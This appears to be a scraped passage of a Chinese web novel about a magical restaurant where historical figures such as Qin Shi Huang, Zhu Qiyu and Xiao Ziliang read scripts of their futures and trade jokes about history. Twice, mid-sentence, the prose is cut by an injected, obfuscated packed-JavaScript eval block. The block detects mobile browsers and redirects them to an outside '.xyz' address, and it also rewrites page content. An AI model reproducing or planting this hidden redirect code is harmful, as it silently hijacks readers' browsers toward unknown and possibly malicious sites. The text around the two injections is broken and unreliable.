所以,当其他人进入餐厅,吃吃喝喝快乐聊天的时候,他在外边像没头苍蝇一样四处乱蹿,寻找出口,正好和众人完美错过。 还是李殷殷点开评分系统,看到有个06号顾客打了一星,这才发现他。 李殷殷:“……” 这波问题很大,不要慌,因为慌也没有用! 先把人挪移进来吧。 …… 瞬移法术的特点就是翻江倒海,让人很不舒服,是个人都会呕一下。 嬴政等人早有准备,提前往旁边闪了几步。 只有朱祁钰没反应过来,见人迎面往这边倒,下意识伸手扶了一把。 !!! 可能是因为,萧子良一连多日未曾合眼,心力交瘁,加上这么一通瞬移,干脆直接省略了呕吐这个步骤,而是眼睛一闭,昏了过去。 他一身白衣缟素,乌发披散,身形单薄纤弱,几乎有些称得上哀毁骨立,眉宇间深锁着无限愁郁。 朱祁钰无可奈何,这都叫什么事啊。 以他的修养,还真没法在这个时候松开手,只得上前一步,将人托起,小心地平放在沙发上。 “这位是?” 李殷殷正在用扫描仪确认身份:“他是南齐竟陵王萧子良,来自永明十一年。” 永明十一年咋了? 朱祁钰对这段历史不熟,也就是仅仅听说过萧子良和竟陵八友,什么谢脁、沈约、萧衍的名字而已。 每当这种时候,只需要一个眼神,小李东阳就会兴高采烈地跳出来,为自家陛下讲解:“陛下,我知道,我在书上看过!” “永明十一年,是南齐国运的转折点。” “文惠太子萧长懋就在这一年去世,武帝因为太过悲痛,把自己也给送走了,驾崩在了数个月之后。” “他本想传位给萧子良,但萧子良无心政事,一力坚辞,所以,最终立了太子的长子萧昭业为皇太孙——这也是历史上第一个正式登基的皇太孙。” 朱祁钰感到这个剧情透着一股熟悉,下意识接了一句:“然后,叔叔抢了侄子的皇位?” 小幼崽:“……那倒没有。” 喂,陛下你能不能别乱猜啊!!! 他双手叉腰,一脸认真地强调道:“萧子良和我们太宗皇帝不一样,确实始终如一,对皇位毫无兴趣。” “琅琊王氏的王融打算拥立他,都已经黄袍加身了,他还是坚决置之不理。就连武帝临终前让他做辅政大臣,他也直接辞了[1]。” 这故事很容易让人想到另一个人,那就是,梁朝同样英年早逝的昭明太子萧统。 朱祁钰若有所思,问小幼崽:“梁武帝是不是考虑到南齐的前车之鉴,才选择了在太子逝世后,改立次子萧纲为储,而不是立皇太孙?” “应该是吧。” 小幼崽有点迷糊,眨巴着眼睛想了好一会,才不是很确定地说,“我听说,梁武帝青年时和萧子良是好友,知交莫逆,肯定有这一层考虑吧。” 就在这个时候,李殷殷拿出一瓶营养液,给萧子良灌了下去。 嬴政拿起空瓶子看了看,触手温润,晶莹剔透,流转着盈盈清光,一看就绝非凡品。 不由好奇道:“店主仙人,此物可有延年益寿之用?” “没有”,陛下你怎么这么关注寿命问题啊。 李殷殷摆手道,“只能用来恢复精神和体力,一杯下去,十天半月都不饿。” 她这么一说,嬴政反而更好奇了:“下次用膳可否尝试一番?” “始皇帝,你应该不会想尝那个味道的。” 李殷殷委婉地劝说道:“优质营养液都被我扔进抽奖池了,这玩意只剩下一瓶最低级的备用,口味没改良过,喝起来就比较……像汽油。” 嬴政虽然不知什么是“汽油”,但一转头,见对面萧子良捂着心口,咳得面色绯红,惊天动地,料想这味道恐怕比生啃大列巴还刺激。 ……还是算了吧。 小金用托盘端来了一杯清茶:“给你,竟陵王殿下。” 萧子良捧着杯盏,啜饮许久,袅袅雾气如湖心春水荡漾,模糊了眉眼,缓慢回过神来。 他用一种一言难尽的目光,望着眼前这一群奇形怪状的人类。 良久,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700067|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些艰难地启唇问道:“此间为何地?尔等又是何人?” 李殷殷将先前告诉嬴政的那套说辞,又原原本本地说了一遍:“欢迎光临万朝食肆,这里是我用来飞升渡劫的场所,具体信息请看手中的《顾客手册》……blablabla……” 说了一大通,最后总结道:“很抱歉,因为工作失误让你久等了,你手中营养液作为赔礼,就不收费了。” 萧子良挑眉,急切地想要问什么。 李殷殷闻弦知雅意,立刻补了一句:“食肆中,时间流动静止,回归时依旧在原点,所以你不用担心你父皇,对他来说,只是一瞬间的事。” “多谢掌柜仙人解惑。” 萧子良松了口气,长睫一掠,露出一抹澄澈的笑影,好似清辉照寒萼。 他是一位性情温和的好人,很少与人为难,一生都没有握过刀锋。 先前如果不是实在急着回去,也不会怒气冲冲打个一星。误会既然已经解开,立即就改成了五星。 李殷殷很开心,终于可以升级了。 众人比她更开心,终于可以抽奖了! 萧子良想起长眠的哥哥萧长懋,眸中泛起了一丝悲怆,问:“可有起死回生之物?” 平阳公主摇头:“没有。” 她同样有至亲去世,在这件事上,最能和萧子良感同身受:“我先前也问过,店主说,生死轮回皆为命定,无法更改。但以后若是有机会,可以去其他位面看望自己的亲人。” 萧子良叹息无言。 一旁,小李东阳好心安慰道:“没关系的,竟陵王殿下,以后伤心的日子还长。虽然你现在死了兄长,但是过不了多久,你的父皇也会驾崩,你自己也会英年早逝!” “一年后,萧鸾造反篡位,你家满门被屠,男女老少百口无一幸存,高帝、武帝的后代都被杀绝了!” “你先别急着悲伤,死着死着,就都习惯了呢!” 又神来之笔地补了一刀:“这个萧鸾就和胡亥一样,按族谱杀人,一个不留,实乃禽兽!” 再次被戳了伤疤的嬴政:“……” 猝不及防听到这一句的萧子良:“……” 朱祁钰吸取之前的教训,赶忙眼疾手快,一把架住他:“竟陵王,你要振作起来,别昏,相信自己可以的!” 萧子良有些感动:“多谢景帝……” 忽听朱祁钰压低声音,喃喃自语:“危矣,距离竟陵王去世的时间已经很接近了,万一他真被小不点童言无忌一句话气死,朕是不是得负全责?现在把他丢下跑路,还来得及吗?” 萧子良:??? 不是,你当着我的面就想肇事逃逸了?! 朱祁钰一边说着,一边使劲晃了晃他:“快醒醒,世路多崎,你要勇敢面对艰苦人生!” 萧子良被这么剧烈一晃,瞬间头昏眼花,差点见到了自己过世的皇爷爷萧道成。 他黑着脸把人推开,客客气气地说:“谢谢,我很好,刚吃了营养液,暂时昏不了。” 朱祁钰充满疑问:“真的?” “……真的!” 朱祁钰回头瞪了小幼崽一眼,你这孩子,怎么一天天的净给朕惹麻烦! 小李东阳委屈地戳了戳手指,抱紧了怀中的毛绒小熊:“陛下QAQ,讲实话也有错吗?” 他摆出了一副无比真诚的神情:“可是,于少保之前明明教导过我,「难欺者心,可畏者天」,要我做一个诚实正直的好孩子——难道于少保说错了吗?” 朱祁钰本想点他两句,听到这,便话锋一转,语气温和地鼓励道:“你做得很好,以后继续听廷益的话。” 呵,于谦怎么可能有错。 分明是萧子良自己心态不行,他兰陵萧氏自家人做出来的一堆破事,还不许孩子当面吐槽几声了? 小幼崽:计划通,嘿嘿嘿。 李殷殷眼看场面混乱起来了,无奈摇摇头,站出来说:“既然大家都想知道未来发展,不如在抽奖之前,先看一看人生剧本。” 众人欣然同意。 剧本是李殷殷自己写的,看完人间界古今中外的所有史书之后,她对历史发展已经熟稔在心。 “始皇帝,因为之前平阳公主已经讲过了你的人生经历,所以,我给剧本改了改……” 嬴政挑眉问:“是改成了萧鸾的故事吗?” 他很好奇,萧鸾到底是什么样的「盖世人杰」,居然能在禽兽这个领域,和胡亥并驾齐驱。 李殷殷掏出一摞纸:“萧鸾的事先不急,等会看云英殿下的人生剧本就行,我给你的,是大秦的命运走向。” 嬴政有些疑惑:“大秦不就是亡于子婴,三世而终?” “非也”,李殷殷将书本翻到了崭新的一页,“那只是一段故事的落幕,却是另一段传奇的开始。” 6. 第 6 章 今天,李殷殷准备给嬴政看一看后世的秦。 天下自古无不亡之国,亦无不死之人。 但有些东西,注定会一直一直流芳下去,亘古长青。 纵历经千秋岁月浩荡,万古风霜摧折,一代又一代,依旧凛然屹立在人类文明的最巅峰。 山川朽而它不朽,星辰坠而它不坠,与日月同辉,与金玉同贞。 大秦,从某种意义上来说,正是这样一种存在。 嬴政翻开帝国的命运剧本,他看见—— 秦法在后世一代代相传,自汉以后,帝王称号、官府制度、地方行政,皆袭秦故而变通,如是两千年。 秦篆长期以来,始终是正式场合所采用的字体,通行于官方印章和政府文书,同时也诞生了众多书法珍品。 秦朝所创造的大一统观念,开天辟地,前所未有,成了后世每一个王朝、每一位君主的追求,心向往之。 「秦」这个字,也成为了整个中原地区的代称,影响远播海外。 十三世纪,中亚霸主花剌子模使团拜访成吉思汗,即在国书中宣称为“访问秦地(Chin)”。 十七世纪,意大利传教士MartinoMartini受邀重新绘制中国地图,并在扉页写道,中国(China)一词的渊源是秦(古文字发音为Chin)。 梵文的中国被称之为“Cina”,拉丁语称中国为“Sinoa”,《大唐西域记》中记载的西亚各国称之为“Chini”。 而这些,都是秦(Chin)的音译。 甚至,有一些语种一直将中国称为秦,没有进行转写,比如突厥语系的土耳其语。 在他们的语言体系中,中国自始至终,就是秦国(?in)。 当一名中国人来到土耳其街头的时候,将会出现这样的对话: ——Nerelisin(你来自哪儿)? ——?inliyim(我是秦国人)! 一个王朝的国祚,终究是有限的。 但是,当这个国家覆灭之后,未来的漫长岁月中,还有人持续不断以它的名字自称,说着“我是秦国人”…… 这何尝不是一种永生呢。 “真好啊。” 嬴政喃喃道,握着卷轴,心中洋溢着感动。 能见到后世人对大秦的认可,他觉得已经此生无憾了。 当然,看着卷轴里那一长串的什么梵文拉丁文突厥语西域各种,他也琢磨出了一点新思路。 世界这么大,我大秦再打下几十个小国,地盘翻上几十倍,这不过分吧? 到处都采用秦国名称的音译,固然好。 但哪里比得上处处都讲大秦官话! 现在已经来了万朝食肆,只需把握好机会,目标触手可及! 嬴政在这边踌躇满志,接过往下一翻,发现最后还剩一页纸,故事还没结束。 嗯? 他一怔,还有啥? 紧接着,嬴政就被雷得里焦外嫩,看见了后世那些以秦为国号,或者获封为秦王的「奇才」们,究竟做了哪些「好」事。 包括但不限于—— 后秦开国君主姚苌,集古今抽象之大成者,没有他搞不出来的骚操作。 秦王赫连昌,原夏国皇帝,亡国后被北魏君主封为秦王,用一生诠释了何为“生命不息,作死不止。” 秦王李茂贞,又封岐王,生平最爱反复横跳,一会儿保皇,一会儿叛逆,一会儿开疆拓土横扫千军,一会儿“自我得之,自我失之”。晚年竟然摇身一变,从恶棍变成了佛法大师。 秦王高季兴,在荆南建国,最大的爱好是当山贼。各国贡品使者凡是打境内经过的,必定要洗劫一番,为了讨赏不停地换主子称臣,最多的时候一个月换了三家,极其反覆无常,人送外号「高赖子」。 秦王中的地板砖,乃是南明秦王孙可望。 此人乃是一个大汉奸(秦奸?),作为南明绝对高层,图谋自立为帝失败后。 为了保荣华富贵,也因为嫉妒义弟李定国的战功与威望,转头就投了敌,出卖军情,倒戈相向。 仅仅在云南一地,就害死了好几万出生入死的同袍战友,连累数十万的黎民无辜惨遭屠戮。 因他而家破人亡者更是不计其数,城池化为丘墟,处处哀鸿遍野,民不聊生。 简直是纯纯的畜生行径。 尤其是这个孙可望还是农民起义军出身,百姓生活有多艰辛,他最清楚不过。 到头来,也是他对百姓捅刀最狠,丝毫没顾及自己也曾是其中的一员。 …… 嬴政看完这一群类人生物事迹,拳头都硬了。 不是,他们怎么敢的啊! 全家连猪带圈都找不出一个好人,竟然还敢拿「秦」字当国号/王号! 好在继续往下看,其他三个「秦王」倒是很不错。 一个是秦世祖宣昭帝苻坚,一个是他的伯父景明帝苻健。 还有一个秦王…… 他疑惑地看向平阳公主:“这个唐朝的秦王李世民,是你家什么人?” 许久,一直不曾听到回复,嬴政疑惑地转过身,却见平阳公主正握着自己的剧本卷轴,怔然叹息。 “原来,这就是我的一生呀……” 她的手用力收紧,骨节都泛出了白色,神色既孤决骄傲,又盈满了悲伤。 骄傲于,自己南征北战,功勋赫赫,庶几无愧天地间。 悲伤于,未来鸟尽弓藏的结局。 天下平定之后,她便兵权被夺,部曲被分,年纪轻轻就郁郁而终,一生功绩更是在身后湮没,寂寂无闻。 唯有一套军礼鼓吹的葬仪,见证了她的荣光。 “诏加前后部羽葆、鼓吹、大辂、麾幢、班剑四十人、虎贲甲卒。” 这一套待遇很高吗?确实高。 但和她的军功相匹配吗?显然不。 平阳公主定了定神,将卷轴递给一旁的萧子良:“殿下如何看待?” 萧子良信手翻了翻,秀丽眉目间一霎浸满凉意。 “啊这,你问我怎么看李渊竖子……老贼……老匹夫……咳咳,你父皇的所作所为,这很难办,作为一个有教养的人,我从不背后说人坏话——” 平阳公主无语。 你确实没有说人坏话,你只是一口一个「老匹夫」罢了。 “——除非是实在忍不住”,萧子良慢悠悠地接道。 满心的槽,实在是不吐不快! “不会吧,不会吧”,他眉梢微扬,愤怒地拍了一下案几,“不会真有人无耻到利用自己的孩子打下江山,转头就吞没掉孩子的全部功劳,只字不提,葬礼上用区区一部鼓吹就打发掉了——不会真有人这么无耻吧?” 平阳公主:“……” 她强行挽尊道:“其实,也不是「区区一部鼓吹」,葬礼还挺正式的……” 萧子良发挥稳定,丝毫不受她打断,声情并茂地说:“是啊,我知道,是区区四十人的鼓吹!” “你看,史书原文里说的多好啊,你葬礼即将举办,文官上书抗议,按照古制,妇人无鼓吹。” “李渊反驳说:「……公主于司竹举兵以应义旗,亲执金鼓,有克定之勋,功参佐命,非常妇人之所匹也」,遂特加之,以旌殊绩。” “听听,多么伟光正的台词,多么浓墨重彩的描述,真是感人至深的父女情。” 萧子良话锋一转:“但是——” 平阳公主身体略微前倾:“但是?” 萧子良一摊手,情真意切地感叹道:“李渊搞出了这么大的声势,既然他也知道女儿功绩盖世,是开国公主,以武建国,怎么就只加了这一点鼓吹,没送进太庙呢?是太挤了放不下吗?” 平阳公主:“……” 神特么太挤了放不下。 萧子良又挑了挑眉,冷笑一声:“且不说开国之初,昭穆不全,太庙空缺众多,就算真满了,怎么就不能把祖宗位置挪出来一个,让你升祔进去?” 他饱读诗书,随意举了几个历史上的例子,信手拈来: “司马炎的女儿灵寿公主,于国无尺寸之功,尚且能进太庙,李渊怎么就不能效仿一下,让身为社稷功臣的女儿祔庙,是没读过书吗?” “哪怕真的不方便挪位,宗庙总能立一个吧,曹魏平原公主未满月,魏明帝还给她立庙修陵呢,李渊怎么就不知道学着点,是没长脑子吗?” “还有其他的,国葬总能来一场吧?陵墓总能附葬吧?挽歌不加一下?不再来点实惠的,追赠官职,颁给符节,加輼輬车?” “就这,李渊几乎什么都没做,居然还特意在史书里大书特书,好似因为这个葬礼,做出了多大让步和牺牲似的。他怎么这么爱装,是夜壶转世吗?” 最后,萧子良一手握拳,来了个铿锵有力的收尾: “李渊老匹夫,本事不大,心眼倒挺多,诡计多端之至,厚颜无耻之尤,呵,被我看穿了吧!” 平阳公主:“……” 救命,好犀利的言辞,她什么时候才能拥有萧子良这样的嘴上战斗力! 仔细一想,他的批评还真不是信口胡言,其实挺有道理的。 “承让承让”,萧子良矜持微笑,眉眼弯弯地说,“本王是三届竟陵西邸辩论冠军,口才界当之无愧的王者。” 他忽然小声嘀咕了一句:“如果你是我姐姐就好了,放在本朝,我父皇早给你加封大齐的帝国上将了,他可不似李渊一般有眼无珠。” “你可真是……” 平阳公主没好气地拍了他一下,抢钱抢地抢位子的都听说过,抢姐姐的还真是头一回。 “本来就是嘛”,萧子良眨眨眼,理直气壮地说,“本朝唯才是用,韩兰英能当女博士,我小叔母能去主持国祭大典,你有战功,晋升起来更方便了。” 平阳公主不觉叹了口气,对武帝这个人,她还是很认可的,不管是帝王为政,还是家庭私德,几乎都无可挑剔。 萧赜是个明君,文武兼资,既能马上提剑闯天下,平生无一败绩,也能安坐明堂治民生,开创「永明之治」。 这是一个含金量很高的治世。 城池繁荣,士女富逸,社会安宁,仓廪充实,人口和钱粮几乎都可以吊打之前的元嘉年代。 但同时,他又不是一个特别标准、像是同一个模子里刻出来的明君。 一生行事相当叛逆,乾纲独断,为所欲为,从来视礼法如无物。 萧子良的娘亲裴惠昭,在武帝还是太子的时候就去世了。 萧赜悲痛欲绝,力排众议,将裴夫人送进了天子七庙。 这个位置可不是什么祔庙,而是位列昭穆的正神,从前都只有皇帝、或者追尊为皇帝的祖先才能入选。 永受后世子孙香火祭拜,就算当朝帝王来了也得行礼。 而裴夫人当时只是一个太子妃。 这种史无前例的事,在朝堂中捅出来,不出预料,引起了轩然大波。其中反对最激烈的,正是那些儒生文臣。 儒生们全都跑出来死谏,痛斥祭仪混乱,礼乐崩坏,国将不国,甚至还有人弹劾换太子,要把萧赜撤掉。 当然,他们并没有说什么违背传统之类的鬼话。 你南齐都已经谋朝篡位了,还讲什么传统,这不纯扯淡嘛。 儒生们想了一个很好的理由:君为臣纲,夫为妻纲,天子朝拜祖宗七庙是要行大礼的,你以后登基祭庙,难道要向你夫人行大礼吗? 本以为这个理由足够天衣无缝了,结果呢……萧赜就是一意孤行。 他在朝会上咆哮,孤就是要向夫人行大礼,怎!么!了! 呵,未来等登基了,孤不仅要自己行礼,还要让诸王!三公!九卿!一起去叩拜呢! 什么,你说你不服? 你有几个九族够杀,这么头铁,来孤面前走两步? 儒生们:“……” 萧赜践祚,终身没有再立皇后,只追尊裴夫人为武穆皇后。 裴皇后留下了一名女官韩兰英,颇为聪慧,饱读文史,韬略非凡。 萧赜很赏识她的才华,对她非常礼敬,特设「女博士」一职,掌管拟写各种朝堂的诏书公文。她也经常去东宫教导太子,时人多以「内相」称之。 儒生们听后几欲吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712400|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,又一次上书骂街:彼其娘兮,这是对礼法的亵渎,对国制的大不敬,有亡国之危! 陛下怎么总能标新立异,闹出事来呢! 萧赜冷笑一声:韩兰英是朕留给太子的内廷托孤之臣,背负社稷之责,重于丘山,你算老几,敢置喙她? 来人,拖出去斩了! 历史上,韩兰英一直陪伴在太子、以及皇太孙的身边。 武帝逝世之后,她落子弈棋,为这片江山算计到了最后一息,直至被篡位者萧鸾诛杀。 南齐还有一个奇才,就是萧赜的弟媳豫章王妃庾氏,擅长营建工事。 萧赜将她派去监修国庙陵寝,主持祭祀。 儒生们见他居然让一位女性主持国祭,已经快昏过去了。 然而,萧赜的操作远不止这个些,他还搞过—— 因为思念亲人,频频跑到太庙,给去世的爹娘烧一些他们生前最爱吃的; 以帝王之尊,亲自给弟弟侍疾,陪伴对方直至生死长离; 给早逝的太子加天子殊礼,披帝王衮冕下葬; 疾笃病重的数个月,干脆关闭宫门,除了搬进来住的萧子良谁也不见,只想和自己的孩子一起度过最后一段时光…… 这样一些操作。 每一件都仿佛踩着那群守旧的天灵盖,来场极限之舞。 也就是他真的开创了「永明之治」,政绩上实在没得黑,不然,这一连串动作下来,保准会被史官戳着脊梁骨开骂。 但武帝本人也不在乎身后名。 他早年吃过很多苦,所以格外珍视自己的家人。 所以他们萧氏,有着其他帝王家,终此一生都很难得到的真心与脉脉温情。 凡事最怕对比,平阳公主想想萧赜,再看看自家这个没心肝的亲爹李渊。 只能说,人比人得死,爹比爹得扔。 …… 小李东阳看完自己的剧本,捂着脸,发出了兴奋的土拨鼠尖叫。 “啊啊啊,未来我竟然得到了「文正」的谥号,这可是文官最顶级的谥号!我死而无憾了!” 可惜,剧本上只有年号,没有未来皇帝的姓名,让他看的有点儿懵逼。 平阳公主伸手捏了捏小幼崽的脸:“文人最顶级的谥号应该是「文献」吧。” 小幼崽眨巴眨巴眼,有点茫然:“为什么是「文献」呀?” 平阳公主告诉小幼崽:“东晋丞相王导就谥「文献」,此后,景从者甚众。刘裕建宋之后,觉得这个谥号太好了,从此只加宗室成员,不给以外的其他人,无论北朝南朝都一直沿用了这个传统。” “例如,北魏清河文献王元怿,南齐豫章文献王萧嶷……” “不错,「文献」确实是最好的谥号”,萧子良也附和了一句,“我小叔叔萧嶷功盖海宇,以国葬之礼入殓,就是加了「文献」。” “还有本朝开国宰相王俭,谥号为了避嫌,特意改了一个字,从「文献」改成了「文宪」。” 小幼崽想了想,笃定地说:“「文献」是你们中古年间的规矩,如今早已不一样了。北宋年间,司马光第一次提出,文正是谥之极美,无以复加,从此,大家都追求「文正」。” 平阳公主一怔,不由肃然起敬:“这司马光何许人也,有甚功绩,竟然让大家纷纷同意他的观点?” 小幼崽张了张嘴,刚要说说司马光的功绩,却发现—— 司马光好像还真没啥值得称道的成就! 也就只能讲讲他那部《资治通鉴》了,总不能提什么主动给西夏割地赔款的事吧。 小幼崽清清嗓子:“他写了一部很出名的史书,时间跨度上至战国,下至五代。” 平阳公主顿时来了兴趣:“很出名吗?书里是如何评价我的?” 小幼崽心中浮现出一个大大的「危」字,迟疑好一会,才小声道:“他没做评价,就是避重就轻,把你的功劳全部转移给了你的丈夫、兄弟和亲爹。” 平阳公主:!!! 萧子良也问了一句:“那我呢?” 小幼崽神色愈发为难了,好半天,才挤出一句:“他把你和你父皇全都大骂了一顿,说你二人一个迎女子入太庙,修改祭法,倒反天罡,一个在西邸沉迷文学,不务正业,无怪乎几年后就被萧鸾杀光了全族,覆灭陨宗。” 萧子良:!!! 嬴政同样有些好奇,向此处投来视线:“他如何说朕?” 小幼崽抖了抖,觉得自己很可能没法活着走出食肆了,小声道:“他说……你是吕不韦和赵姬的私生子,赵姬怀孕足月之后,才被吕不韦献给嬴异人。” 嬴政:!!! 小幼崽发现自己好像说错了话,赶紧捂住嘴,抱紧了毛绒小熊,一下子猫到了朱祁钰身后。 崽啊,你可少说两句吧。 朱祁钰心好累,总感觉再放任他这么说下去,今天二人怕是要一起血溅天宫。 等等,是司马光造的孽,和他没关系啊。 那没事了。 李殷殷也不禁眉心跳了跳。 这司马光真是个trouble-maker,食肆一共才来了几位顾客,几乎全被他以一己之力得罪完了。 在场唯一幸免的,似乎只有林逋…… 哦不对,林逋也没幸免。 李殷殷回忆了一下自己刚补完的各路人间界史料,问他一句:“和靖先生,你的《山园小梅》应该纯粹就是写隐士情怀,没有别的含义吧?” 林逋诧异道:“没有。” 都已经是隐居咏梅诗了,还能涉及到别的什么主题? 李殷殷一顿,缓缓面露沉痛之色:“司马光在《温公诗话》里说,此诗极尽梅花之妍态,仿佛一首情诗。” 林逋:!!! 此刻,在场所有人的心声空前地达到了一致:不是,司马光他有病吧! 李殷殷转头去了门外,指挥小金挖坑,众人惊讶地问:“店主仙人,你这是在做什么?” “立块碑”,李殷殷说,“上面就写「司马光与蟑螂不得入内」,免得什么时候被他不小心混进来。” 这也太影响食肆的友好氛围了! 7. 第 7 章 饭友们精诚合作,在门口竖起了一块巨碑。 期间,还发生了一点风波。 嬴政觉得单为了司马光一个人,就立一块巨碑,而且还放在食肆门口这样的仙家重地,似乎不太合理。 他一路厮杀至最巅峰,被许多人反对和敌视,面临过无数的蜚短流长、恶意诋毁,早就习惯了。 司马光也不过是其中毫不起眼的一个,根本配不上这等排面。 “此言甚是”,李殷殷亦觉有理,遂将先前的提议进一步完善了一下:“那便在写名字的地方多留一些空位,以后还有哪些人引起公愤,随时可以添加。” 众人拍手叫好。 很快,一块青石为底,流光为纹的石碑,从原地腾云而起,令人瞩目。 林逋作为全场的才华担当,当仁不让地接过了题字的任务。 只见他挽起衣袖,蘸好云烟墨,挥毫落笔一气呵成。 “好字!” 萧子良也是大文豪、书法行家,欣然称赞道:“这字从容闲雅,飘然不群,好似清泉白石,松间明月,自有一种清新秀逸的气度。” 林逋莞尔:“殿下谬赞。” 李殷殷则持比较迟疑的态度:“这么好看的字用来写司马光,太浪费了吧,应该让全场字最丑的人来题。” 众人一想,好有道理啊,便齐齐将目光投向一处。 嬴政吃瓜吃得好好的,瓜突然砸自己头上,不禁大为震怒:“大胆!你们都盯着朕作甚?!” 他有点无奈,店主仙人怎么也跟着凑热闹! “始皇帝”,李殷殷扬起一抹微笑,“是时候加强文化素养了,可以从文字开始,先来学习书法和外语。” 她甚至提出了一个很有诱惑力的建议:“海外那么多邦国语言,都用大秦(Chin)来称呼中原,你未来要拓土开疆,也不想对它们一无所知吧。” 嬴政想了想,斩钉截铁地说:“区区外语有何学习的必要?待我大秦君临四海,这些地方全部都要推行大秦官话!” 众人绝倒。 如果别的帝王说这话,绝对会以为对方得失心疯了。 但换成始皇帝,虽然他神色很平静,态度也云淡风轻,仿佛只是随意提了一句,丝毫也不像在发雄心壮志的模样…… 但怎么让人不由自主地就信了呢! 信他可以一统五洲四海,创造奇迹,屹立在世界之巅。 或许,这就是千古一帝的排面吧。 …… 林逋望着自己的人生剧本,陷入了沉思。 只见纸上写着: 【25岁那年,你结束了在江淮各地的游历,看破红尘,大彻大悟,归隐西湖孤山。】 【26岁那年,继续归隐西湖孤山。】 【27岁那年,继续归隐西湖孤山,并养了两只鹤。】 【28岁那年,继续归隐西湖孤山,你在家门口种下了一千株梅树。】 【29岁那年,继续归隐西湖孤山,你的两只鹤生出了一群鹤宝宝,你每天忙着照料他们,顺手又养了几只鹭鸶帮忙捕鱼吃。】 【30岁那年,继续归隐西湖孤山。】 凑过来围观的众人:“……” 这个经历描述,可以说是非常的朴实无华了。 再往下看,一连数十年,林逋都是在西湖赏花逗鹤,悠然自得,平静得没有一丝波澜。 直到最后一行: 【62岁那年,你安然去世,无疾而终,此生梅妻鹤子,不娶不仕。墓葬一切从简,陪葬品唯有一方端砚,一支玉簪。】 嚯,用玉簪陪葬什么的,这里面好像有一场凄美的爱情故事啊。 朱祁钰觉察到八卦的气息,一下子来了精神,笑吟吟地问:“和靖先生,这位玉簪姑娘是何许人也?” “你猜错了”,林逋淡然摇头,“不是姑娘。” 朱祁钰看他的目光瞬间转为惊悚:? 你啥意思?! “这一枚,是我刻给自己的蓝田玉湖光山水簪”,林逋轻声道。 他从鬓间抽出玉簪,乌发一瞬流荡下来,如水般倏然垂落。 簪子上,镌刻了西湖的四时风光,细处玉质薄如蝉翼,一草一木都历历分明,甚有巧思,仿佛瞬间让人身临其境。 他这样的世外之人,一生只钟情于山水万籁,不恋人间,自然也不会有什么红尘情缘。 “果然风光如画”,朱祁钰托起簪子,凝视半晌,赞叹道,“真想亲眼去西湖看一看啊,到底是何等清绝佳境,才让廷益心向往之……” “又开始了,又开始了。” 萧子良反手掏出一张纸,刷刷记下,“景帝今日提到这个叫「廷益」的家伙第二次,当真是字短情长,念念不忘。” “其实是第三次了”,平阳公主神补刀。 “先前你不在,我们吃饭的时候,景帝至少讲了半个时辰的西湖菜。林和靖做四菜一汤花了多久,他就说了多久。” 萧子良在纸上继续加一:“让我看看今天能不能破五……不对,破十。” “喂!” 朱祁钰气恼地瞪了他一眼,这人怎么好端端就多长了一张嘴! “承让承让”,萧子良笑容灿烂,伸手在他肩上一拍,“要是没长嘴那多吓人啊……我们两个的人生剧本都还没看,快走快走。” 朱祁钰努力了一下,还是没挣开他,于是面无表情地说:“有一件事,朕好奇很久了。” 萧子良:“嗯?” 朱祁钰微微一笑:“众所周知,文人取称号都喜欢以姓加地名。既然你的好友谢脁叫做「谢宣城」,沈约叫做「沈东阳」,按照这个惯例,你是不是应该叫「萧竟陵」呢?” 萧子良瞬间裂开了。 谁家好人没事去当小精灵啊! 他扶额叹息道:“小钰啊,这笔帐不是这么算的,竟陵只是我的封地。父皇舍不得让我走,所以我一直住在京城,压根就没去过封地。” 朱祁钰目光凉凉地望向他:“小钰是你叫的吗?” “嘿,你不让我叫,我偏叫”,萧子良双手叉腰,气沉丹田,大喝道,“我想怎么叫就怎么叫——小钰小钰小钰,就要叫小钰!” 朱祁钰听了想打人:“可闭嘴吧,我父皇生前都没这样叫过我。” “往好处想想”,萧子良轻抚着一缕垂落的乌发,眸光流转,含笑说,“虽然你父皇没叫过你小钰,但我父皇也没有叫过我小精灵对不对,咱俩扯平了。” 朱祁钰:“……” 很好,根本无法反驳呢! …… “到吃晚餐的时间了。” 李殷殷打开食肆系统,发现掉落了一次解锁新菜的机会。 众人含泪交了一百万一餐的天价伙食费,而后,翘首以盼新食物的到来。 “这回可千万别像上次一样,再来个类似大列巴的东西了”,平阳公主依旧心有余悸。 一时间,附和声四起:“是啊,别再来了!” “我们甚至吃了四菜一汤的大列巴,感谢林逋的付出!” “不知等会和靖先生拿到食材,会为我们制作怎么样的菜,是杭州菜吗?” “今天第三次,赶紧记下!” “?萧云英,你莫要太过分,朕方才分明半个字都没提起廷益!” “小钰此言差矣,你以为我不知道你为什么想吃杭州菜吗?哦对,现在是第四次了……” 在众人的吵闹声中,李殷殷深吸一口气,打开了系统面板,轻轻一点。 【滴——】 【恭喜万朝食肆掌柜李殷殷,解锁新品烤鱼!】 【品名:茄汁锡纸烤鱼】 【原材料:鱼,茄子,酒,火腿,锡纸,胡椒粉盐葱蒜姜花生油等配料】 【详解:被西施绝世美貌惊吓而死的鱼一条、鸠摩罗什从西域带回中原的茄子一根、白居易元稹正在对饮的清酒一壶、岳飞府上新做好的火腿一只、荀灌准备给祖宗荀彧上坟烧纸的锡纸若干,万朝食肆特供白胡椒粉、盐、葱、蒜、姜、花生油,卡皮吧啦一只】 